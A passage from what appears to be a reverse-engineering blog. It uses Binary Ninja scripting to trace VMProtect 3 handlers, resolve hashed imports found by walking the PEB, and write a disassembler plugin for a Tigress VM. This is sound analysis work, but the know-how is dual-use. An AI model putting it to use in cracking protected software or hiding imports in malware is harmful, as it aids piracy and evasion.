005babcc      eax#1.b = *(arg3#0 - 1) @ mem#0 ^ 0xa7
005babde      eax#2.b = not.b(eax#1.b)
005babe0      eax#3.b = eax#2.b - 0xa3
005babe2      eax#4.b = rol.b(eax#3.b, 1)
005babea      eax#5.b = eax#4.b + 1
005babee      eax#6.b = ror.b(eax#5.b, 1)
005babf0      int32_t ebx
005babf0      ebx#1.b = 0xa7 ^ eax#6.b
005babfd      *(&__return_addr + eax#6) @ mem#0 @ mem#1 = *arg2#0 @ mem#0 @ mem#0
⋯005bac3d      jump(arg4#0 + rol.d(not.d((*(arg3#0 - 5) @ mem#1 ^ ebx#1) - 0x5ca20a41) - 0x40d54c06, 2))

Where is ebx#0? What is *(&__return_addr + eax#6)? From what I can see, a big part of the problem is that Binary Ninja is assuming that the functions we reverse are playing along nicely with the x86 standard, and for example, that esp is the stack pointer and that it holds a reference to a return address. I had a play with trying to extract something useful out of the HLIL and MLIL, but I had a hard time with the following:

• If you follow the AST back to the input arguments, there's no direct way to see if they're backed by variables. You can do this by checking the function type information but it's a little clunky
• We really want to track the key registers that drive the VMProtect virtual machine, and the MLIL and HLIL views are a little bit abstracted from the assembly, so it's not the best tool for the job

That leaves us with the LLIL, and the short answer is, this gives us the sweet spot where we're very close to the original assembly, but also have some of the heavy lifting (SSA and lifting into IL) done for us.

VMProtect 3 has been described elsewhere (here and here among others), and the basic idea is this:

• esi is the virtual instruction pointer, VIP
• edi is the offset of the current VM handler (opcodes are offsets from the previous handler so we need to track this)
• esp is the offset to the scratch registers
• ebp is the stack pointer for the VM
• ebx is the stream cipher that is used to decrypt the stream of opcodes

If we can see what these registers resolve to at the end of the handler then we can find the address of the next handler, and profile the current one to automatically identify it. Firstly though, let's start getting into how the interface works

Accessing LLIL instructions from the Python Console

Click on an instruction to highlight it, and get the function that holds this (the functions we need hang off the binaryninja.function.Function class):

>>> func = bv.get_functions_containing(here)[0]
>>> func
<func: x86@0x5babbd>

It's possible that bv.get_functions_containing() could return multiple functions (or none, if we're outside a function), but let's live dangerously here and assume there's only going to be one function returned. From here, we want to get the LLIL in SSA form:

>>> llil_ssa = func.llil.ssa_form
>>> llil_ssa
<llil func: x86@0x5babbd>
>>> llil_ssa.registers
[<reg ecx>, <reg esp>, <reg ebp>, <reg edx>, <reg eax>, <reg esi>, <reg ebx>, <reg temp1>, <reg edi>, <reg temp0>]
>>> llil_ssa.ssa_registers
[<ssa ecx version 0>, <ssa ecx version 1>, <ssa ecx version 2>, <ssa ecx version 3>, <ssa ecx version 4>, <ssa ecx version 5>, <ssa ecx version 6>, <ssa ecx version 7>, <ssa esp version 0>, <ssa ebp version 0>, <ssa ebp version 1>, <ssa edx version 0>, <ssa eax version 1>, <ssa eax version 2>, <ssa eax version 3>, <ssa eax version 4>, <ssa eax version 5>, <ssa eax version 6>, <ssa eax version 7>, <ssa eax version 8>, <ssa eax version 9>, <ssa eax version 10>, <ssa eax version 11>, <ssa eax version 12>, <ssa eax version 13>, <ssa eax version 14>, <ssa eax version 15>, <ssa eax version 16>, <ssa esi version 0>, <ssa esi version 1>, <ssa esi version 2>, <ssa ebx version 0>, <ssa ebx version 1>, <ssa ebx version 2>, <ssa temp1 version 1>, <ssa edi version 0>, <ssa edi version 1>, <ssa temp0 version 1>]
>>> llil_ssa[0]
<llil: esi#1 = esi#0 - 1>
>>> llil_ssa[1]
<llil: eax#1 = zx.d([esi#1].b @ mem#0)>

From here we can access both the base registers and their SSA forms. At a glance, we can see eax gets heavily used, whereas edi and esi don't see a huge amount of action. We can also subscript the llil.ssa_form object, which returns instructions for each line in the view.

At this point it's going to be quite useful to look at the LLIL docs. There are two main types of instructions we'll care about here:

>>> llil_ssa[1]
<llil: eax#1 = zx.d([esi#1].b @ mem#0)>
>>> type(llil_ssa[1])
<class 'binaryninja.lowlevelil.LowLevelILSetRegSsa'>
>>> llil_ssa[5]
<llil: eax#2.al = eax#1.al ^ ebx#0.bl>
>>> type(llil_ssa[5])
<class 'binaryninja.lowlevelil.LowLevelILSetRegSsaPartial'>

As you can probably guess from the name, the LowLevelILSetRegSsa class represents a register being set to a new value, whereas the LowLevelILSetRegSsaPartial class represents part of the register being set, e.g. bl, which is the low byte of ebx, or si, which is the low word of esi. As far as I could tell, all the instructions subclass LowLevelILInstruction directly, rather than subclassing something more specific like a LowLevelILAssignment class, so we need to handle these directly. It's important to note that various instructions that modify flags but otherwise don't do anything get represented here too, and you often find these in the junk code, for example:

>>> llil_ssa[7]
<llil: esi#1 & 0x4de74ba7>
>>> type(llil_ssa[7])
<class 'binaryninja.lowlevelil.LowLevelILAnd'>
>>> bv.get_disassembly(llil_ssa[7].address)
'test    esi, 0x4de74ba7'

The good news is we shouldn't have to worry about this as we'll just be tracking register definitions (although this will be a pain later when we get to managing flags). If we look at these objects, we have a few parameters that we care about:

>>> llil_ssa[1]
<llil: eax#1 = zx.d([esi#1].b @ mem#0)>
>>> llil_ssa[1].dest
<ssa eax version 1>
>>> type(llil_ssa[1].dest)
<class 'binaryninja.lowlevelil.SSARegister'>
>>> llil_ssa[1].src
<llil: zx.d([esi#1].b @ mem#0)>
>>> type(llil_ssa[1].src)
<class 'binaryninja.lowlevelil.LowLevelILZx'>

For a LowLevelILSetRegSsa object we can use the dest property to get the SSARegister that is being written to. In the src property we will see the tree of LowLevelILInstruction objects that will end with either registers or constants. For nearly all of these, we can use the operands property to access the nodes further up the tree:

>>> llil_ssa[40]
<llil: eax#15 = eax#14 - 0x40d54c06>
>>> type(llil_ssa[40])
<class 'binaryninja.lowlevelil.LowLevelILSetRegSsa'>
>>> llil_ssa[40].src.operands
[<llil: eax#14>, <llil: 0x40d54c06>]
>>> [type(x) for x in llil_ssa[40].src.operands]
[<class 'binaryninja.lowlevelil.LowLevelILRegSsa'>, <class 'binaryninja.lowlevelil.LowLevelILConst'>]
>>> llil_ssa[19]
<llil: ebx#1.bl = ebx#0.bl ^ eax#7.al>
>>> type(llil_ssa[19])
<class 'binaryninja.lowlevelil.LowLevelILSetRegSsaPartial'>
>>> llil_ssa[19].src.operands
[<llil: ebx#0.bl>, <llil: eax#7.al>]
>>> [type(x) for x in llil_ssa[19].src.operands]
[<class 'binaryninja.lowlevelil.LowLevelILRegSsaPartial'>, <class 'binaryninja.lowlevelil.LowLevelILRegSsaPartial'>]

Because this has been lifted directly from the assembly, we should generally see only one layer of instructions, unless it's a complex instruction like a movsx which will both access a memory location and zero extends it

>>> llil_ssa[1]
<llil: eax#1 = zx.d([esi#1].b @ mem#0)>
>>> llil_ssa[1].src
<llil: zx.d([esi#1].b @ mem#0)>
>>> llil_ssa[1].src.src
<llil: [esi#1].b @ mem#0>
>>> llil_ssa[1].src.src.src
<llil: esi#1>
>>> bv.get_disassembly(llil_ssa[1].address)
'movzx   eax, byte [esi]'

We have all the pieces we need to build our extractor now. We could resolve the SSA registers directly and build complete ASTs, but I've chosen to just resolve each instruction one at a time and output something close to Python (you'll need to implement the zx() and mem_read() functions yourself).

Building the extractor

We'll start with a simple function to get going:

def resolve_dest(dest):
  if type(dest) == SSARegister:
    return "%s_%s" % (dest.reg, dest.version)
  else:
    raise Exception("Couldn't resolve destination %s type %s" % (dest, type(dest)))

We can copy-paste this directly into the python console and call it whenever we like. Let's try this - select an instruction (I'm going to do line 1 in the LLIL in SSA form), and execute this:

>>> bv.get_functions_containing(here)[0].get_llil_at(here)
<llil: eax = zx.d([esi].b)>
>>> bv.get_functions_containing(here)[0].get_llil_at(here).ssa_form
<llil: eax#1 = zx.d([esi#1].b @ mem#0)>
>>> bv.get_functions_containing(here)[0].get_llil_at(here).ssa_form.dest
<ssa eax version 1>
>>> resolve_dest(bv.get_functions_containing(here)[0].get_llil_at(here).ssa_form.dest)
'eax_1'

That was pretty easy. Let's try resolving the sources. I've decided to do this through a loop rather than through recursion, partially because I got confused debugging this when I tried it the recursive way, and partially because I haven't done it this way for a while and needed the practice. What we do is we do a depth first traversal of the tree, ordering objects in our todo array, and adding any non-leaf nodes back onto the sources array to make sure we traverse them too:

sources = [source]
todo = []
output = []
while sources:
  source = sources.pop()
  if type(source) in [LowLevelILSub, LowLevelILZx, LowLevelILSx, LowLevelILAnd, LowLevelILXor, LowLevelILOr, LowLevelILNot, LowLevelILLsl, LowLevelILLsr, LowLevelILRol, LowLevelILRor, LowLevelILAdd]:
    todo.append(source)
    for operand in source.operands:
      sources.append(operand)
  elif type(source) in [LowLevelILLoadSsa]:
    # operands are [src, src_memory] and src_memory is just an int ref we don't want
    todo.append(source)
    sources.append(source.src)
  elif type(source) in [LowLevelILConst, LowLevelILRegSsa, LowLevelILRegSsaPartial]:
    todo.append(source)
  else:
    raise Exception("Couldn't process instruction %s type %s" % (source, type(source)))

Now we can process the outputs. Some of the assignments will be directly setting a value, so we can handle these first:

if type(value) == LowLevelILConst:
  output.append(hex(value.constant))
elif type(value) == LowLevelILRegSsa:
  output.append("%s_%s" % (value.src.reg.name, value.src.version))
elif type(value) == LowLevelILRegSsaPartial:
  result = "(%s & %s_%s)" % (hex(masks[value.src.name]), value.full_reg.reg.name, value.full_reg.version)
  if value.src.name in shifts:
    result = "(%s %s)" % (result, shifts[value.src.name])
  output.append(result)

Feel free to ignore the LowLevelILRegSsaPartial implementation here, or skip forward to the source to see how this all hooks up. This is always going to be an implementation decision, and a framework like Triton has complex objects for registers that manage the smaller parts, but I've chosen here just to mask things, which complicates the output, but it makes it easy to follow. We could easily decide here to resolve the registers and insert them in place if we wanted to build an AST, this is an exercise for the reader.

Note: python doesn't have unsigned integers, and things will behave weirdly when we have negative numbers interacting with bitwise arithmetic. I haven't implemented this very carefully and there will be bugs with this.

Disclaimers aside, all we need to do is print out a representation of the constants and registers we come across, they will be the leaf nodes.

Most of the rest look more or less the same, I've chosen to output textual representations of these, but there's no reason we couldn't output other objects that can perform the calculations themselves.

elif type(value) == LowLevelILAdd:
  rhs = output.pop()
  lhs = output.pop()
  output.append("(%s + %s)" % (lhs, rhs))
elif type(value) == LowLevelILSub:
  rhs = output.pop()
  lhs = output.pop()

Finally, we resolve the assignments:

if type(assignment) == LowLevelILSetRegSsa:
  return "%s = %s" % (resolve_dest(assignment.dest), resolve_source(assignment.src))
elif type(assignment) == LowLevelILSetRegSsaPartial:
  previous_version = "%s_%s" % (assignment.full_reg.reg, assignment.full_reg.version - 1)
  output = resolve_dest(assignment.full_reg)
  original = "(%s & %s)" % (hex(inverse_masks[assignment.dest.name]), previous_version)
  change = "(%s & %s)" % (hex(masks[assignment.dest.name]), resolve_source(assignment.src))
  full_src = "%s & %s" % (original, change)
  if assignment.dest.name in shifts:
    full_src = "(%s %s)" % (full_src, shifts[assignment.dest.name])
  return "%s = %s" % (output, full_src)

We've outsourced the source and destination resolution so the LowLevelILSetRegSsa case is very straightforward, and the LowLevelILSetRegSsaPartial just adds a bunch of masking and shifting to make the partial registers behave correctly.

Looking up dependencies

The goal is to extract the operations from the handler, so let's resolve all dependent registers back to the top and output all the lines we need to calculate the outputs ourselves.

def find_all_dependent_registers(func, llil_ssa, base_assignment):
  assignments = [base_assignment]
  output_assignments = []
  while assignments:
    assignment = assignments.pop()
    log_info("Analysing assignment %s" % assignment)
    output_assignments.append(assignment)
    dependent_registers = find_dependent_registers(assignment)
    for register in dependent_registers:
      log_info("Adding dependent register %s" % register)
      assignment = llil_ssa.get_ssa_reg_definition(register)
      if assignment:
        log_info("Defined at: %s" % assignment)
        assignments.append(assignment)
      else:
        log_info("Register %s has no definition, skipping" % register)
  # convert to pythonesque
  output_python = []
  while output_assignments:
    output_python.append(resolve_assignment(output_assignments.pop()))
  return output_python

We use the get_ssa_reg_definition() to find where our registers are defined, and then apply the same iterative depth-first traversal as before. This leaves us with a bunch of assignments in an array. We want to start from the top so we read this array back in reverse, and the resolve_assignment() function generates the output code we want. This will produce duplicate lines of code and we could remove these from the output_python array if we want, but SSA should mean all of our lines are idempotent so it shouldn't hurt to repeat them.

We'll add some helper functions too, in case we want to start from a specific address, or use a register name to find the final SSA version of it and calculate for this.

So what does the output look like?

>>> print("\n".join(find_all_dependent_registers_from_register_name(func, "esi")))
esi_1 = (esi_0 - 0x1)
esi_2 = (esi_1 - 0x4)
>>> print("\n".join(find_all_dependent_registers_from_register_name(func, "edi")))
esi_1 = (esi_0 - 0x1)
eax_1 = zx(read_mem(esi_1,1), 4)
eax_2 = (0xffffff00 & eax_1) & (0xff & ((0xff & eax_1) ^ (0xff & ebx_0)))
eax_3 = (0xffffff00 & eax_2) & (0xff & not((0xff & eax_2), 1))
eax_4 = (0xffffff00 & eax_3) & (0xff & ((0xff & eax_3) - -0x5d))
eax_5 = (0xffffff00 & eax_4) & (0xff & (0xFF & (((0xff & eax_4) << 0x1) | ((0xff & eax_4) >> (8 - 0x1)))))
eax_6 = (0xffffff00 & eax_5) & (0xff & ((0xff & eax_5) + 0x1))
eax_7 = (0xffffff00 & eax_6) & (0xff & (0xFF & (((0xff & eax_6) >> 0x1) | ((0xff & eax_6) << (8 - 0x1)))))
ebx_1 = (0xffffff00 & ebx_0) & (0xff & ((0xff & ebx_0) ^ (0xff & eax_7)))
esi_1 = (esi_0 - 0x1)
esi_2 = (esi_1 - 0x4)
eax_11 = read_mem(esi_2,4)
eax_12 = (eax_11 ^ ebx_1)
eax_13 = (eax_12 + -0x5ca20a41)
eax_14 = not(eax_13, 4)
eax_15 = (eax_14 - 0x40d54c06)
eax_16 = (0xFFFFFFFF & ((eax_15 << 0x2) | (eax_15 >> (32 - 0x2))))
edi_1 = (edi_0 + eax_16)
>>> print("\n".join(find_all_dependent_registers_from_register_name(func, "ebp")))
ebp_1 = (ebp_0 + 0x4)
>>> print("\n".join(find_all_dependent_registers_from_register_name(func, "esp")))

>>> print("\n".join(find_all_dependent_registers_from_register_name(func, "ebx")))
esi_1 = (esi_0 - 0x1)
eax_1 = zx(read_mem(esi_1,1), 4)
eax_2 = (0xffffff00 & eax_1) & (0xff & ((0xff & eax_1) ^ (0xff & ebx_0)))
eax_3 = (0xffffff00 & eax_2) & (0xff & not((0xff & eax_2), 1))
eax_4 = (0xffffff00 & eax_3) & (0xff & ((0xff & eax_3) - -0x5d))
eax_5 = (0xffffff00 & eax_4) & (0xff & (0xFF & (((0xff & eax_4) << 0x1) | ((0xff & eax_4) >> (8 - 0x1)))))
eax_6 = (0xffffff00 & eax_5) & (0xff & ((0xff & eax_5) + 0x1))
eax_7 = (0xffffff00 & eax_6) & (0xff & (0xFF & (((0xff & eax_6) >> 0x1) | ((0xff & eax_6) << (8 - 0x1)))))
ebx_1 = (0xffffff00 & ebx_0) & (0xff & ((0xff & ebx_0) ^ (0xff & eax_7)))
esi_1 = (esi_0 - 0x1)
esi_2 = (esi_1 - 0x4)
eax_11 = read_mem(esi_2,4)
eax_12 = (eax_11 ^ ebx_1)
eax_13 = (eax_12 + -0x5ca20a41)
eax_14 = not(eax_13, 4)
eax_15 = (eax_14 - 0x40d54c06)
eax_16 = (0xFFFFFFFF & ((eax_15 << 0x2) | (eax_15 >> (32 - 0x2))))
esi_1 = (esi_0 - 0x1)
eax_1 = zx(read_mem(esi_1,1), 4)
eax_2 = (0xffffff00 & eax_1) & (0xff & ((0xff & eax_1) ^ (0xff & ebx_0)))
eax_3 = (0xffffff00 & eax_2) & (0xff & not((0xff & eax_2), 1))
eax_4 = (0xffffff00 & eax_3) & (0xff & ((0xff & eax_3) - -0x5d))
eax_5 = (0xffffff00 & eax_4) & (0xff & (0xFF & (((0xff & eax_4) << 0x1) | ((0xff & eax_4) >> (8 - 0x1)))))
eax_6 = (0xffffff00 & eax_5) & (0xff & ((0xff & eax_5) + 0x1))
eax_7 = (0xffffff00 & eax_6) & (0xff & (0xFF & (((0xff & eax_6) >> 0x1) | ((0xff & eax_6) << (8 - 0x1)))))
ebx_1 = (0xffffff00 & ebx_0) & (0xff & ((0xff & ebx_0) ^ (0xff & eax_7)))
ebx_2 = (ebx_1 ^ eax_16)

Lots of repetition caused by the ebx decryption, but we can also see a couple of main things:

• our VIP register, esi gets decremented by 5 (in this VMProtect VM, the VIP counts backwards), which means we're reading 1 byte from the bytecode, and then a final DWORD to get the address of the next handler
• our stack pointer register, ebp gets advanced by 4, which suggests we popped a DWORD off the virtual stack, but didn't put anything back on (so we haven't done any arithmetic)

These two things alone are pretty good clues that we've loaded a DWORD from the stack and put it into a virtual register in the scratch space. We haven't handled memory writes, and the next important step would be to find all LowLevelILStoreSsa instructions and collect them somewhere too:

>>> llil_ssa[24]
<llil: [esp#0 + eax#7].d = ecx#7 @ mem#0 -> mem#1>
>>> type(llil_ssa[24])
<class 'binaryninja.lowlevelil.LowLevelILStoreSsa'>

With heuristics we would know that since esp is our scratch space base, we just need to resolve eax#7 and we'll know which number register we are writing to.

In any case, code is at https://github.com/samrussell/vmprotect_binja_plugin, feel free to have a play with it and see what else you can do

Takeaways

It took a while to find the right level to look at, but ultimately the Binary Ninja LLIL is very useful, the Python interface is fantastic for interacting with it, and it does about 90% of the heavy lifting for us. I suspect once we get to the arithmetic operations we'll run into some problems with managing where the flags originate from, and that will require us to step backwards through the instruction array rather than directly access these. The LLIL does keep track of some flags that are directly set (there are 8 versions of the carry flag in this handler, for example), but we will have to implement the flag calculation for arithmetic ourselves. Having said this, the flag usage in the handlers is fairly straightforward in earlier versions of VMProtect, and the problems only arise when handling the lifted opcodes in later analysis.

Another nice surprise was how the HLIL was really useful in finding the address of the first VM handler, and it would be nice if there was a way to customise this more. The dead code and obfuscated jump handling isn't perfect, but we do get a bunch of stuff for free from both the HLIL and the LLIL, and I feel like Binary Ninja is going to be quite a useful tool for handling a sample like this.

Anyway, I hope you got something out of this. Good luck and happy reversing.

It's common for packed and otherwise obfuscated binaries to effectively user their own shellcode to populate the imports that they plan to use. This does two things:

1. It hides imports from the reverser that might otherwise stick out in the import table
2. It makes the packer/obfuscator code more portable, it can just add itself onto an existing binary

For those of you who aren't familiar with how you can populate your own import table, it looks something like this

1. Load the PEB (fs:[0x18][0x30] in x86, gs:[0x30][0x60] in x64)
2. Load the head of the module list at PEB->Ldr->InLoadOrderModuleList
3. Iterate through this list until you get back to the start (sad face) or find your module name

(By the way, Binary Ninja 3.2 now supports offset pointers which tidies things up a lot when traversing win32 structs that are tied together using LIST_ENTRY pointers)

For packers that want to obfuscate things further, they can hash the names of the DLLs and imported functions so that these don't show up when searching for strings. All we need to do when iterating is to hash the name of every DLL we get to and compare it against the hash we're looking for.

Once we have a module base address, we parse the PE header, get to the export table, and traverse both the name table and offset table in lock-step (these don't point to each other but rather the names and addresses are stored in the same order, so entry X in the name table matches entry X in the offset table). When we find the (hashed) name we're looking for, we return the corresponding function address.

What this means for us as reversers is we end up finding a function that looks like this:

Note: I've already reversed the GetModuleBase_ and GetProcAddress_ functions, these are an exercise for the reader :)

Once we've extracted the hashing function, we can run it over a few standard DLL names that we know will be loaded (kernel32, ntdll), confirm in the code, then update our labels:

Now we can see that we're loading a bunch of functions from kernel32 and ntll. Let's see if we can speed up this labelling a little:

Getting all the references

The Binary Ninja API is extensive but it takes a bit of playing to find what we're looking for. I recommend using a combination of searching the API docs and playing around in the python console to piece together what you're looking for.

For starters, we'll go to our function by double clicking on it, and make sure the signature is right.

The first argument is where we store the function address, the second argument is the address of our module, the third is the hash we expect, and the fourth we don't care about here. We'll update them to make sure the types are correct (press Y to change a function type) and here we are:

If you look in the bottom-left-hand corner you'll see a list of references to this function, we want to get this programmatically

We can do this with the bv.get_code_refs() command. Protip: if we highlight the top of the function, we'll get the address in the here variable, so we can just call bv.get_code_refs(here) and it'll do the same thing as manually typing in the address:

>>> [hex(x.address) for x in bv.get_code_refs(here)]
['0x12423a1', '0x1242c6d', '0x1242c7f', '0x1242c91', '0x1242ca3', '0x1242cb5', '0x1242ce3', '0x1242cf5', '0x1242d07', '0x1242d19', '0x1242d2b', '0x1242d3d', '0x1242d4f', '0x1242d61', '0x1242d73', '0x1242d85', '0x1242d97', '0x1242da9', '0x1242dbb', '0x1242dcd', '0x1242ddf', '0x1242df1', '0x1242e03', '0x1242e15', '0x1242e27', '0x1242e39', '0x1242e4b', '0x1242e5d', '0x1242e6f', '0x1242e81', '0x1242e93', '0x1242ea5', '0x1242eb7', '0x1242ec9', '0x1242edb', '0x1242eed', '0x1242eff', '0x1242f11', '0x1242f23', '0x1242f35', '0x1242f47', '0x1242f59', '0x1242f6b', '0x1242f7d', '0x1242f8f', '0x1242fa1', '0x1242fb3', '0x1243079', '0x124308b', '0x124309d', '0x12430af', '0x12430c1', '0x12430d3', '0x12430e5']

We want to get the HLIL instruction at that address. I couldn't find a direct way to get this, so we'll grab the function from the reference, look at the list of HLIL instructions, and extract the one that matches our address:

>>> list(filter(lambda x: x.address == ref.address, ref.function.hlil.instructions))[0]
<HLIL_CALL: GetProcAddress_(&data_12471ed, pKernel32, 0x4dd0a472, 0)>

Once we've got this we can extract the things we care about: the name of the DLL base variable we pass (pKernel32), the hash we're looking up (0x4dd0a472), and the var where we plan to store the result (data_12471ed). We can extract these from the instruction_operands property as follows:

DLL variable name:

>>> inst.instruction_operands[2]
<HLIL_VAR: pKernel32>
>>> type(inst.instruction_operands[2])
<class 'binaryninja.highlevelil.HighLevelILVar'>
>>> inst.instruction_operands[2].var.name
'pKernel32'

Hash value:

>>> inst.instruction_operands[3]
<HLIL_CONST: 0x4dd0a472>
>>> inst.instruction_operands[3].constant
1305519218
>>> hex(inst.instruction_operands[3].constant)
'0x4dd0a472'

Output variable address:

>>> inst.instruction_operands[1]
<HLIL_CONST_PTR: &data_12471ed>
>>> inst.instruction_operands[1].constant
19165677
>>> hex(inst.instruction_operands[1].constant)
'0x12471ed'

Finally, when we want to set a variable name we use bv.define_data_var() to set it:

bv.define_data_var(hlil_inst.instruction_operands[1].constant, "void*", "p%s" % functionname)

Let's put it all together!

Scripting the bulk change

I've left the hash function out of this article as it is implementation specific, but once we have a function that will generate hashes we can use lief to parse the export table of our DLL of choice and create a lookup table:

from hashfunctionname import hash_function_name
import lief
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("dllpath")
args = parser.parse_args()

binary = lief.PE.parse(args.dllpath)

lookup = {}

for function in binary.exported_functions:
    lookup[hash_function_name(function.name)] = function.name

print(lookup)

We've named our DLL reference variables as pKernel32 and pNtDllLocal (note the HLIL uses the local var rather than the global one for ntdll), so we can make a lookup table for multiple dlls if we structure it like this:

procaddress_by_hash = {
  'pNtDllLocal' : {
    2777868780: 'A_SHAFinal',
    ...
  },
  'pKernel32 : {
    584423213: 'AcquireSRWLockExclusive',
    ..
  }
}

Finally, here's the script that does all the heavy lifting:

for ref in bv.get_code_refs(here):
  hlil_inst = list(filter(lambda x: x.address == ref.address, ref.function.hlil.instructions))[0]
  if not isinstance(hlil_inst.instruction_operands[2], HighLevelILVar):
    log_info("second arg isn't a var so can't check it")
    continue
  dll_name = hlil_inst.instruction_operands[2].var.name
  if dll_name not in procaddress_by_hash:
    log_info("Couldn't find %s in lookup table" % dll_name)
    continue
  lookup_table = procaddress_by_hash[dll_name]
  hash = hlil_inst.instruction_operands[3].constant
  if hash not in lookup_table:
    log_info("couldn't find hash %08X in lookup table" % hash)
  functionname = lookup_table[hash]
  log_info("setting var at %08X to %s" % (ref.address, functionname))
  bv.define_data_var(hlil_inst.instruction_operands[1].constant, "void*", "p%s" % functionname)

If we switch to the log tab we can see how it went, or just switch back to one of our references to see the results:

Now these are all labelled, we'll be able to identify when they're being called later in the code.

Future work

There's one reference that I couldn't handle automatically because the DLL base reference isn't stored in an intermediate variable that I could rename. We can handle this case by checking the name of the function that is called here and looking up the DLL name by hash if it's calling GetModuleBase_(), but I'll leave this as an exercise for the reader.

I hope you find this helpful, happy hacking everyone.

If you want to skip this and just want the plugin then check out https://github.com/samrussell/tigress_disasm

Reversing the VM handlers

I like to do this by going through the bytecode and reversing one command at a time. The bytecode is at 602060 so let's start there and we find the first byte is 0x60. If we look through our handler_entry table we find that 0x60 points to 4008e9 and we can click through to the handler:

If we look in the High Level IL view we can see the code laid out as follows:

*(vstack + 8) = *(vip + 1)
vstack = vstack + 8
vip = &vip[9]
continue

This handler does the following:

1. Reads the next 8 bytes from VIP as a QWORD and puts them on the stack
2. Advances the stack pointer by 8 bytes (or 1 QWORD)
3. Advances VIP by 9 bytes (1 byte for the opcode + 8 bytes for the immediate value)

So this pushes a QWORD immediate onto the stack, and we'll call this opcode loadq

Our first command is thus 60 08 00 00 00 00 00 00 00, or loadq 8 and our second command is the same opcode, 60 00 00 00 00 00 00 00 00, or loadq 0.

The next byte is 0x4e, so we'll jump to the handler at 40088d:

vip = &vip[1]
*vstack = *vstack
continue

This handler does the following:

1. Advances VIP by one byte
2. Takes a QWORD from the stack and puts it back in place

Operations like these can sometimes be hiding something sneaky that the disassembler will ignore, but it appears this is exactly what is happening if we look at the disassembly:

mov     rax, qword [rbp-0x70 {vip}] // put VIP in RAX
add     rax, 0x1 // increment RAX
mov     qword [rbp-0x70 {vip}], rax  // put RAX back in VIP
// vip = vip + 1
mov     rax, qword [rbp-0x80 {vstack}] // put vstack in RAX
mov     rdx, qword [rbp-0x80 {vstack}] // put vstack in RDX
mov     rdx, qword [rdx] // RDX = *vstack
mov     qword [rax], rdx // *vstack = RDX
// *vstack = *vstack
jmp     0x40070d

This will create an exception if vstack is somehow pointing to bad memory, but otherwise this is a NOP operation.

We can carry on through the bytecode for every opcode we don't understand and most of them are pretty straightforward, we have some add, or, and mul operations that are fairly simple, let's look at one of these:

vip = &vip[1]
*(vstack - 8) = *(vstack - 8) * *vstack
vstack = vstack - 8
continue

This handler does the following:

1. Advances VIP by one byte
2. Multiplies the top 2 QWORDS on the stack and puts them 8 bytes (one QWORD) down from the top
3. Shifts the stack pointer down by 8 bytes

We can model this in different ways, we can use the 8 byte shifts and offsets, or we can also use some dummy registers and model this using stack operations:

pop rax // get QWORD from top of stack and shift stack back, stack = original-8
pop rdx // get QWORD from top of stack (8 bytes down from original vstack) and shift stack back, stack=original-16
mul rax, rdx // multiply both QWORDS
push rax // put resulting QWORD on stack and advance stack, stack = original-8

There's one other specific VM handler that confused me a bit but is actually kind of nice:

void* rax_100 = &vip[1]
int32_t rax_102 = *rax_100
if (rax_102 == 0)
*(vstack + 8) = &pInputNumber_
else if (rax_102 == 1)
*(vstack + 8) = &pOutputNumber_
vstack = vstack + 8
vip = rax_100 + 4
continue

The function is called with two arguments, and this opcode gets us the address of an argument based on the parameter that is passed as an immediate.

The rest of the handlers are left as an exercise to the reader, let's start converting the bytecode to something readable.

Building the plugin

The API was really enjoyable, with a good amount of documentation (some more examples would be nice), and also easy to test with good errors (standard python) when things went wrong. Here's the basic skeleton of what I built:

from binaryninja import (Architecture, RegisterInfo, InstructionInfo,
    InstructionTextToken, InstructionTextTokenType, InstructionTextTokenContext,
    BranchType,
    LowLevelILOperation, LLIL_TEMP,
    LowLevelILLabel,
    FlagRole,
    LowLevelILFlagCondition,
    log_error,
    CallingConvention,
    interaction,
    PluginCommand, BackgroundTaskThread,
    HighlightStandardColor
)

import struct

class Tigress1(Architecture):
    name = "tigress1"
    address_size = 8
    default_int_size = 8
    max_instr_length = 9

    regs = {
        "vsp": RegisterInfo("vsp", 8),
        "varg1": RegisterInfo("varg1", 8),
        "varg2": RegisterInfo("varg2", 8),
        "vreg": RegisterInfo("vreg", 8),
        "vlhs": RegisterInfo("vlhs", 8),
        "vrhs": RegisterInfo("vrhs", 8),
    }
    stack_pointer = "vsp"

    def get_instruction_info(self, data, address):
        opcode = data[0]

        if opcode == 0x60 or opcode == 0xe1:
            # loadq
            result = InstructionInfo()
            result.length = 9
            return result
        #elif opcode == 0x4e:
        else:
            return None

    def get_instruction_text(self, data, address):
        opcode = data[0]

        if opcode == 0x60 or opcode == 0xe1:
            # loadq
            immediate = struct.unpack("<Q", data[1:9])[0]

            tokens = []
            tokens.append(InstructionTextToken(InstructionTextTokenType.InstructionToken, "loadq"))
            tokens.append(InstructionTextToken(InstructionTextTokenType.OperandSeparatorToken, " "))
            tokens.append(InstructionTextToken(InstructionTextTokenType.PossibleAddressToken, hex(immediate), immediate))
            return tokens, 9
        #elif opcode == 0x4e:
        else:
            return None

    def get_instruction_low_level_il(self, data, address, il):
        opcode = data[0]

        if opcode == 0x60 or opcode == 0xe1:
            # loadq
            immediate = struct.unpack("<Q", data[1:9])[0]
            il.append(il.push(8, il.const(8, immediate)))
            return 9
        #elif opcode == 0x4e:
        else:
            return None

Tigress1.register()

You can take this as-is and dump it in your plugins folder (Tools -> Open Plugin Folder...). You'll need to reload the module if you make any changes, there are plugins to handle this, or you can just close and re-open Binary Ninja to see the changes.

Let's go through what the functions do

get_instruction_info

This is used to tell Binary Ninja the length of an instruction, and if it branches, the type of branch that it does. For most of our instructions we're just going to set the length, and for the jump and return opcodes we'll set the branch details. For example

elif opcode == 0xf4:
    # jmp
    immediate = struct.unpack("<L", data[1:5])[0]
    result = InstructionInfo()
    result.length = 5
    result.add_branch(BranchType.UnconditionalBranch, address+immediate+1)
    return result

get_instruction_text

This is what we'll print out when we look at the disassembly, as well as the length of the opcode we just parsed (as with each of these functions). Most of our opcodes don't take any arguments so we can just print out their name, but with others we'll want to include the parameters and format them correctly. For example

if opcode == 0x60 or opcode == 0xe1:
    # loadq
    immediate = struct.unpack("<Q", data[1:9])[0]

    tokens = []
    tokens.append(InstructionTextToken(InstructionTextTokenType.InstructionToken, "loadq"))
    tokens.append(InstructionTextToken(InstructionTextTokenType.OperandSeparatorToken, " "))
    tokens.append(InstructionTextToken(InstructionTextTokenType.PossibleAddressToken, hex(immediate), immediate))
    return tokens, 9

get_instruction_low_level_il

